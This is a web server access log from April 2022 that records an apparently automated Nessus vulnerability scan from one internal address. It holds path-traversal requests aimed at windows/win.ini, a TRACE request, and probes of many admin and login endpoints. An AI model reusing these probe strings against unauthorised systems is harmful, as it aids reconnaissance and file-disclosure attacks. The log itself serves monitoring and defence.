[29/Apr/2022:07:18:51 +0800] 10.67.98.114 TLSv1.2 ECDHE-RSA-AES256-SHA384 "GET / HTTP/1.1" -
[29/Apr/2022:07:18:53 +0800] 10.67.98.114 TLSv1.2 ECDHE-RSA-AES256-SHA384 "GET /favicon.ico HTTP/1.1" 196
[30/Apr/2022:06:25:58 +0800] 10.39.104.26 - - "GET / HTTP/1.0" 362
[30/Apr/2022:06:27:06 +0800] 10.39.104.26 TLSv1 ECDHE-RSA-AES256-SHA "GET / HTTP/1.0" -
[30/Apr/2022:06:27:15 +0800] 10.39.104.26 TLSv1 ECDHE-RSA-AES256-SHA "GET / HTTP/1.1" -
[30/Apr/2022:06:27:15 +0800] 10.39.104.26 TLSv1 ECDHE-RSA-AES256-SHA "GET / HTTP/1.1" -
[30/Apr/2022:06:27:16 +0800] 10.39.104.26 TLSv1 ECDHE-RSA-AES256-SHA "GET / HTTP/1.1" -
[30/Apr/2022:06:27:25 +0800] 10.39.104.26 TLSv1 ECDHE-RSA-AES256-SHA "GET /password HTTP/1.1" 226
[30/Apr/2022:06:27:26 +0800] 10.39.104.26 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET / HTTP/1.1" -
[30/Apr/2022:06:27:26 +0800] 10.39.104.26 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET / HTTP/1.1" -
[30/Apr/2022:06:27:26 +0800] 10.39.104.26 TLSv1 ECDHE-RSA-AES256-SHA "t3s 12.2.1\n" 226
[30/Apr/2022:06:27:26 +0800] 10.39.104.26 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /sdk HTTP/1.1" 196
[30/Apr/2022:06:27:26 +0800] 10.39.104.26 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /sdk HTTP/1.1" 196
[30/Apr/2022:06:27:27 +0800] 10.39.104.26 TLSv1 ECDHE-RSA-AES256-SHA "GET / HTTP/1.1" -
[30/Apr/2022:06:27:27 +0800] 10.39.104.26 TLSv1 ECDHE-RSA-AES256-SHA "GET / HTTP/1.1" -
[30/Apr/2022:06:27:27 +0800] 10.39.104.26 TLSv1 ECDHE-RSA-AES256-SHA "GET /html/nhome.html HTTP/1.1" 196
[30/Apr/2022:06:27:28 +0800] 10.39.104.26 TLSv1 ECDHE-RSA-AES256-SHA "GET /api/hpe-restapi.json HTTP/1.1" 196
[30/Apr/2022:06:27:25 +0800] 10.39.104.26 TLSv1 ECDHE-RSA-AES256-SHA "GET / HTTP/1.1" 226
[30/Apr/2022:06:27:36 +0800] 10.39.104.26 TLSv1 ECDHE-RSA-AES256-SHA "GET / HTTP/1.1" -
[30/Apr/2022:06:27:36 +0800] 10.39.104.26 TLSv1 ECDHE-RSA-AES256-SHA "GET / HTTP/1.1" -
[30/Apr/2022:06:27:36 +0800] 10.39.104.26 TLSv1 ECDHE-RSA-AES256-SHA "GET /properties/description.dhtml HTTP/1.1" 196
[30/Apr/2022:06:27:37 +0800] 10.39.104.26 TLSv1 ECDHE-RSA-AES256-SHA "GET /properties/configuration.php?tab=Status HTTP/1.1" 196
[30/Apr/2022:06:27:37 +0800] 10.39.104.26 TLSv1 ECDHE-RSA-AES256-SHA "GET /header.php?tab=status HTTP/1.1" 196
[30/Apr/2022:06:27:41 +0800] 10.39.104.26 TLSv1 ECDHE-RSA-AES256-SHA "GET / HTTP/1.1" -
[30/Apr/2022:06:27:41 +0800] 10.39.104.26 TLSv1 ECDHE-RSA-AES256-SHA "GET /aboutprinter.html HTTP/1.1" 196
[30/Apr/2022:06:27:41 +0800] 10.39.104.26 TLSv1 ECDHE-RSA-AES256-SHA "GET /properties/configuration.php?tab=Status HTTP/1.1" 196
[30/Apr/2022:06:27:42 +0800] 10.39.104.26 TLSv1 ECDHE-RSA-AES256-SHA "GET / HTTP/1.1" -
[30/Apr/2022:06:27:42 +0800] 10.39.104.26 TLSv1 ECDHE-RSA-AES256-SHA "GET / HTTP/1.1" -
[30/Apr/2022:06:27:43 +0800] 10.39.104.26 TLSv1 ECDHE-RSA-AES256-SHA "GET / HTTP/1.1" -
[30/Apr/2022:06:27:43 +0800] 10.39.104.26 TLSv1 ECDHE-RSA-AES256-SHA "GET / HTTP/1.1" -
[30/Apr/2022:06:27:44 +0800] 10.39.104.26 TLSv1 ECDHE-RSA-AES256-SHA "GET / HTTP/1.1" -
[30/Apr/2022:06:27:44 +0800] 10.39.104.26 TLSv1 ECDHE-RSA-AES256-SHA "GET / HTTP/1.1" -
[30/Apr/2022:06:27:45 +0800] 10.39.104.26 TLSv1 ECDHE-RSA-AES256-SHA "GNUTELLA CONNECT/0.6" 226
[30/Apr/2022:06:27:45 +0800] 10.39.104.26 TLSv1 ECDHE-RSA-AES256-SHA "GET / HTTP/1.1" -
[30/Apr/2022:06:27:45 +0800] 10.39.104.26 TLSv1 ECDHE-RSA-AES256-SHA "GET / HTTP/1.1" -
[30/Apr/2022:06:27:45 +0800] 10.39.104.26 TLSv1 ECDHE-RSA-AES256-SHA "GNUTELLA CONNECT/0.4" 226
[30/Apr/2022:06:27:45 +0800] 10.39.104.26 TLSv1 ECDHE-RSA-AES256-SHA "GET /login.php HTTP/1.1" 196
[30/Apr/2022:06:27:45 +0800] 10.39.104.26 TLSv1 ECDHE-RSA-AES256-SHA "GET /login.html HTTP/1.1" 196
[30/Apr/2022:06:27:45 +0800] 10.39.104.26 TLSv1 ECDHE-RSA-AES256-SHA "GET /this_server/all_settings.shtml HTTP/1.1" 196
[30/Apr/2022:06:27:45 +0800] 10.39.104.26 TLSv1 ECDHE-RSA-AES256-SHA "GET / HTTP/1.1" -
[30/Apr/2022:06:27:45 +0800] 10.39.104.26 TLSv1 ECDHE-RSA-AES256-SHA "GET / HTTP/1.1" -
[30/Apr/2022:06:27:46 +0800] 10.39.104.26 TLSv1 ECDHE-RSA-AES256-SHA "Secure * Secure-HTTP/1.4" 226
[30/Apr/2022:06:27:46 +0800] 10.39.104.26 TLSv1 ECDHE-RSA-AES256-SHA "GET /Home.do HTTP/1.1" 196
[30/Apr/2022:06:27:46 +0800] 10.39.104.26 TLSv1 ECDHE-RSA-AES256-SHA "GET /authenticate/login HTTP/1.1" 196
[30/Apr/2022:06:27:46 +0800] 10.39.104.26 TLSv1 ECDHE-RSA-AES256-SHA "GET /start.js HTTP/1.1" 196
[30/Apr/2022:06:27:46 +0800] 10.39.104.26 TLSv1 ECDHE-RSA-AES256-SHA "some invalid request" 226
[30/Apr/2022:06:27:46 +0800] 10.39.104.26 TLSv1 ECDHE-RSA-AES256-SHA "GET /ddem/ HTTP/1.1" 196
[30/Apr/2022:06:27:46 +0800] 10.39.104.26 TLSv1 ECDHE-RSA-AES256-SHA "GET / HTTP/1.1" -
[30/Apr/2022:06:27:47 +0800] 10.39.104.26 TLSv1 ECDHE-RSA-AES256-SHA "GET / HTTP/1.1" -
[30/Apr/2022:06:27:47 +0800] 10.39.104.26 TLSv1 ECDHE-RSA-AES256-SHA "GET /tmui/ HTTP/1.1" 196
[30/Apr/2022:06:27:47 +0800] 10.39.104.26 TLSv1 ECDHE-RSA-AES256-SHA "GET /admin_ui/mas/ent/login.html HTTP/1.1" 196
[30/Apr/2022:06:27:47 +0800] 10.39.104.26 TLSv1 ECDHE-RSA-AES256-SHA "GET /login HTTP/1.1" 196
[30/Apr/2022:06:27:47 +0800] 10.39.104.26 TLSv1 ECDHE-RSA-AES256-SHA "GET /netmri/config/userAdmin/login.tdf HTTP/1.1" 196
[30/Apr/2022:06:27:48 +0800] 10.39.104.26 TLSv1 ECDHE-RSA-AES256-SHA "GET /scgi-bin/platform.cgi HTTP/1.1" 196
[30/Apr/2022:06:27:48 +0800] 10.39.104.26 TLSv1 ECDHE-RSA-AES256-SHA "GET / HTTP/1.1" -
[30/Apr/2022:06:27:48 +0800] 10.39.104.26 TLSv1 ECDHE-RSA-AES256-SHA "GET /admin/login.do HTTP/1.1" 196
[30/Apr/2022:06:27:48 +0800] 10.39.104.26 TLSv1 ECDHE-RSA-AES256-SHA "GET // HTTP/1.1" -
[30/Apr/2022:06:27:48 +0800] 10.39.104.26 TLSv1 ECDHE-RSA-AES256-SHA "GET /en/main.js HTTP/1.1" 196
[30/Apr/2022:06:27:48 +0800] 10.39.104.26 TLSv1 ECDHE-RSA-AES256-SHA "GET /mgmt/login?dest=%2Fmgmt%2Fgui%3Fp%3Dhome&reason=&username= HTTP/1.1" 196
[30/Apr/2022:06:27:49 +0800] 10.39.104.26 TLSv1.1 ECDHE-RSA-AES256-SHA "GET /intruvert/jsp/admin/Login.jsp HTTP/1.1" 196
[30/Apr/2022:06:27:49 +0800] 10.39.104.26 TLSv1.1 ECDHE-RSA-AES256-SHA "GET /dms2/Login.jsp HTTP/1.1" 196
[30/Apr/2022:06:27:49 +0800] 10.39.104.26 TLSv1.1 ECDHE-RSA-AES256-SHA "GET /+CSCOE+/win.js HTTP/1.1" 196
[30/Apr/2022:06:27:49 +0800] 10.39.104.26 TLSv1.1 ECDHE-RSA-AES256-SHA "GET /commoncgi/servlet/CCGIServlet?ApHost=PDT_InterScan_NT&CGIAlias=PDT_InterScan_NT&File=logout.htm HTTP/1.1" 196
[30/Apr/2022:06:27:49 +0800] 10.39.104.26 TLSv1.1 ECDHE-RSA-AES256-SHA "GET /login HTTP/1.1" 196
[30/Apr/2022:06:27:49 +0800] 10.39.104.26 TLSv1.1 ECDHE-RSA-AES256-SHA "GET /home.htm HTTP/1.1" 196
[30/Apr/2022:06:27:49 +0800] 10.39.104.26 TLSv1.1 ECDHE-RSA-AES256-SHA "GET / HTTP/1.1" -
[30/Apr/2022:06:27:50 +0800] 10.39.104.26 TLSv1.1 ECDHE-RSA-AES256-SHA "GET /sws/data/sws_data.js HTTP/1.1" 196
[30/Apr/2022:06:27:50 +0800] 10.39.104.26 TLSv1 ECDHE-RSA-AES256-SHA "GET http://rfi.nessus.org/check_proxy.html HTTP/1.0" 196
[30/Apr/2022:06:27:50 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /xmldata?item=All HTTP/1.1" 196
[30/Apr/2022:06:27:50 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /wcd/system.xml HTTP/1.1" 196
[30/Apr/2022:06:27:50 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /upnp/BasicDevice.xml HTTP/1.1" 196
[30/Apr/2022:06:27:50 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /js/Device.js HTTP/1.1" 196
[30/Apr/2022:06:27:50 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET / HTTP/1.1" -
[30/Apr/2022:06:27:51 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /ptz.htm HTTP/1.1" 196
[30/Apr/2022:06:27:51 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /header.php?tab=status HTTP/1.1" 196
[30/Apr/2022:06:27:51 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /admin/login.jsp HTTP/1.1" 196
[30/Apr/2022:06:27:52 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /loginMsg.js HTTP/1.1" 196
[30/Apr/2022:06:27:59 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET / HTTP/1.1" -
[30/Apr/2022:06:27:59 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /robots.txt HTTP/1.1" 196
[30/Apr/2022:06:27:59 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /sitemap.xml HTTP/1.1" 196
[30/Apr/2022:06:28:00 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /.cobalt HTTP/1.1" 196
[30/Apr/2022:06:28:00 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /admin.back HTTP/1.1" 196
[30/Apr/2022:06:28:00 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /file HTTP/1.1" 196
[30/Apr/2022:06:28:00 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /wavemaster.internal HTTP/1.1" 196
[30/Apr/2022:06:28:01 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET / HTTP/1.1" -
[30/Apr/2022:06:28:01 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "ULBADS / HTTP/1.1" -
[30/Apr/2022:06:28:03 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET / HTTP/1.1" -
[30/Apr/2022:06:28:03 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET / HTTP/1.1" -
[30/Apr/2022:06:28:05 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /MSWSMTP/Common/Authentication/Logon.aspx HTTP/1.1" 196
[30/Apr/2022:06:28:05 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET / HTTP/1.1" -
[30/Apr/2022:06:28:05 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "OPTIONS / HTTP/1.1" -
[30/Apr/2022:06:28:06 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /QlB60BhY1l0C.html HTTP/1.1" 196
[30/Apr/2022:06:28:06 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /QlB60BhY1l0C.cgi HTTP/1.1" 196
[30/Apr/2022:06:28:06 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /QlB60BhY1l0C.sh HTTP/1.1" 196
[30/Apr/2022:06:28:06 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /QlB60BhY1l0C.pl HTTP/1.1" 196
[30/Apr/2022:06:28:07 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /QlB60BhY1l0C.inc HTTP/1.1" 196
[30/Apr/2022:06:28:07 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /QlB60BhY1l0C.shtml HTTP/1.1" 196
[30/Apr/2022:06:28:07 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /QlB60BhY1l0C.asp HTTP/1.1" 196
[30/Apr/2022:06:28:07 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /QlB60BhY1l0C.php HTTP/1.1" 196
[30/Apr/2022:06:28:07 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /QlB60BhY1l0C.php3 HTTP/1.1" 196
[30/Apr/2022:06:28:07 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /QlB60BhY1l0C.cfm HTTP/1.1" 196
[30/Apr/2022:06:28:07 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /cgi-bin/QlB60BhY1l0C.html HTTP/1.1" 196
[30/Apr/2022:06:28:07 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /cgi-bin/QlB60BhY1l0C.cgi HTTP/1.1" 196
[30/Apr/2022:06:28:07 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /cgi-bin/QlB60BhY1l0C.sh HTTP/1.1" 196
[30/Apr/2022:06:28:07 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /cgi-bin/QlB60BhY1l0C.pl HTTP/1.1" 196
[30/Apr/2022:06:28:07 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /cgi-bin/QlB60BhY1l0C.inc HTTP/1.1" 196
[30/Apr/2022:06:28:07 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /cgi-bin/QlB60BhY1l0C.shtml HTTP/1.1" 196
[30/Apr/2022:06:28:07 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /cgi-bin/QlB60BhY1l0C.asp HTTP/1.1" 196
[30/Apr/2022:06:28:07 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /cgi-bin/QlB60BhY1l0C.php HTTP/1.1" 196
[30/Apr/2022:06:28:08 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /cgi-bin/QlB60BhY1l0C.php3 HTTP/1.1" 196
[30/Apr/2022:06:28:08 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /cgi-bin/QlB60BhY1l0C.cfm HTTP/1.1" 196
[30/Apr/2022:06:28:08 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /scripts/QlB60BhY1l0C.html HTTP/1.1" 196
[30/Apr/2022:06:28:08 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /scripts/QlB60BhY1l0C.cgi HTTP/1.1" 196
[30/Apr/2022:06:28:08 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /scripts/QlB60BhY1l0C.sh HTTP/1.1" 196
[30/Apr/2022:06:28:08 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /scripts/QlB60BhY1l0C.pl HTTP/1.1" 196
[30/Apr/2022:06:28:08 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /scripts/QlB60BhY1l0C.inc HTTP/1.1" 196
[30/Apr/2022:06:28:08 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /scripts/QlB60BhY1l0C.shtml HTTP/1.1" 196
[30/Apr/2022:06:28:08 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /scripts/QlB60BhY1l0C.asp HTTP/1.1" 196
[30/Apr/2022:06:28:08 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /scripts/QlB60BhY1l0C.php HTTP/1.1" 196
[30/Apr/2022:06:28:08 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /scripts/QlB60BhY1l0C.php3 HTTP/1.1" 196
[30/Apr/2022:06:28:08 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /scripts/QlB60BhY1l0C.cfm HTTP/1.1" 196
[30/Apr/2022:06:28:12 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET / HTTP/1.1" -
[30/Apr/2022:06:28:12 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET / HTTP/1.1" -
[30/Apr/2022:06:28:13 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "TRACE /Nessus549221919.html HTTP/1.1" 312
[30/Apr/2022:06:28:14 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET / HTTP/1.1" -
[30/Apr/2022:06:28:14 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /xampp/index.php HTTP/1.1" 196
[30/Apr/2022:06:28:14 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET / HTTP/1.1" -
[30/Apr/2022:06:28:14 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET / HTTP/1.1" -
[30/Apr/2022:06:28:15 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /ords/ HTTP/1.1" 196
[30/Apr/2022:06:28:15 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /axis2/services/CUPMService/ping HTTP/1.1" 196
[30/Apr/2022:06:28:15 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /apex/listenerConfigure HTTP/1.1" 196
[30/Apr/2022:06:28:15 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /dfcweb/lib/cupm/nls/applicationproperties.js HTTP/1.1" 196
[30/Apr/2022:06:28:16 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET / HTTP/1.1" -
[30/Apr/2022:06:28:16 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /Wsusadmin/Errors/BrowserSettings.aspx HTTP/1.1" 196
[30/Apr/2022:06:28:16 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET / HTTP/1.1" -
[30/Apr/2022:06:28:16 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /emsam/index.html HTTP/1.1" 196
[30/Apr/2022:06:28:16 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET / HTTP/1.1" -
[30/Apr/2022:06:28:16 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET / HTTP/1.1" -
[30/Apr/2022:06:28:17 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /JumpPage.php?Target=StoragePage HTTP/1.1" -
[30/Apr/2022:06:28:17 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /nessus345678.html HTTP/1.1" 196
[30/Apr/2022:06:28:17 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /nessus345678.html HTTP/1.1" 196
[30/Apr/2022:06:28:17 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET / HTTP/1.1" -
[30/Apr/2022:06:28:17 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET / HTTP/1.1" -
[30/Apr/2022:06:28:18 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /SnoopServlet/ HTTP/1.1" 196
[30/Apr/2022:06:28:18 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /robots.txt HTTP/1.1" 196
[30/Apr/2022:06:28:19 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /snoopservlet/ HTTP/1.1" 196
[30/Apr/2022:06:28:19 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /favicon.ico HTTP/1.1" 196
[30/Apr/2022:06:28:19 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /snoop/ HTTP/1.1" 196
[30/Apr/2022:06:28:19 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET / HTTP/1.1" -
[30/Apr/2022:06:28:19 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /servlet/SnoopServlet/ HTTP/1.1" 196
[30/Apr/2022:06:28:19 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET / HTTP/1.1" -
[30/Apr/2022:06:28:20 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /triton-help/en/first.htm HTTP/1.1" 196
[30/Apr/2022:06:28:20 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /servlet/snoopservlet/ HTTP/1.1" 196
[30/Apr/2022:06:28:20 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /console/login/LoginForm.jsp HTTP/1.1" 196
[30/Apr/2022:06:28:20 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /servlet/snoop/ HTTP/1.1" 196
[30/Apr/2022:06:28:20 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /wls-wsat/CoordinatorPortType HTTP/1.1" 196
[30/Apr/2022:06:28:20 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET / HTTP/1.1" -
[30/Apr/2022:06:28:21 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "SEARCH / HTTP/1.1" -
[30/Apr/2022:06:28:21 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET / HTTP/1.1" -
[30/Apr/2022:06:28:21 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "OPTIONS * HTTP/1.1" -
[30/Apr/2022:06:28:21 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET / HTTP/1.1" -
[30/Apr/2022:06:28:21 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /usage/ HTTP/1.1" 196
[30/Apr/2022:06:28:21 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /webalizer/ HTTP/1.1" 196
[30/Apr/2022:06:28:22 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "PROPFIND / HTTP/1.1" -
[30/Apr/2022:06:28:22 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET / HTTP/1.1" -
[30/Apr/2022:06:28:22 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET / HTTP/1.1" -
[30/Apr/2022:06:28:22 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /active.log HTTP/1.1" 196
[30/Apr/2022:06:28:22 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /../../../../../../../../../../../../windows/win.ini HTTP/1.1" 226
[30/Apr/2022:06:28:22 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET / HTTP/1.1" -
[30/Apr/2022:06:28:23 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /../../../../../../../../../../../../winnt/win.ini HTTP/1.1" 226
[30/Apr/2022:06:28:23 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /images HTTP/1.0" 233
[30/Apr/2022:06:28:23 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET ../../../../../../../../../../../../windows/win.ini HTTP/1.1" 226
[30/Apr/2022:06:28:23 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET / HTTP/1.1" -
[30/Apr/2022:06:28:23 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET ../../../../../../../../../../../../winnt/win.ini HTTP/1.1" 226
[30/Apr/2022:06:28:23 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /main_internet.php HTTP/1.1" 196
[30/Apr/2022:06:28:23 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET ..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\windows\\win.ini HTTP/1.1" 226
[30/Apr/2022:06:28:23 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET / HTTP/1.1" -
[30/Apr/2022:06:28:24 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET ..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\winnt\\win.ini HTTP/1.1" 226
[30/Apr/2022:06:28:24 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /cfg/shortcuts HTTP/1.1" 196
[30/Apr/2022:06:28:24 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\windows\\win.ini HTTP/1.1" 196
[30/Apr/2022:06:28:24 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET / HTTP/1.1" -
[30/Apr/2022:06:28:24 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /hc/error/ HTTP/1.1" 196
[30/Apr/2022:06:28:24 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\winnt\\win.ini HTTP/1.1" 196
[30/Apr/2022:06:28:24 +0800] 10.39.104.26 TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384 "GET /ui/login.action HTTP/1.1" 196
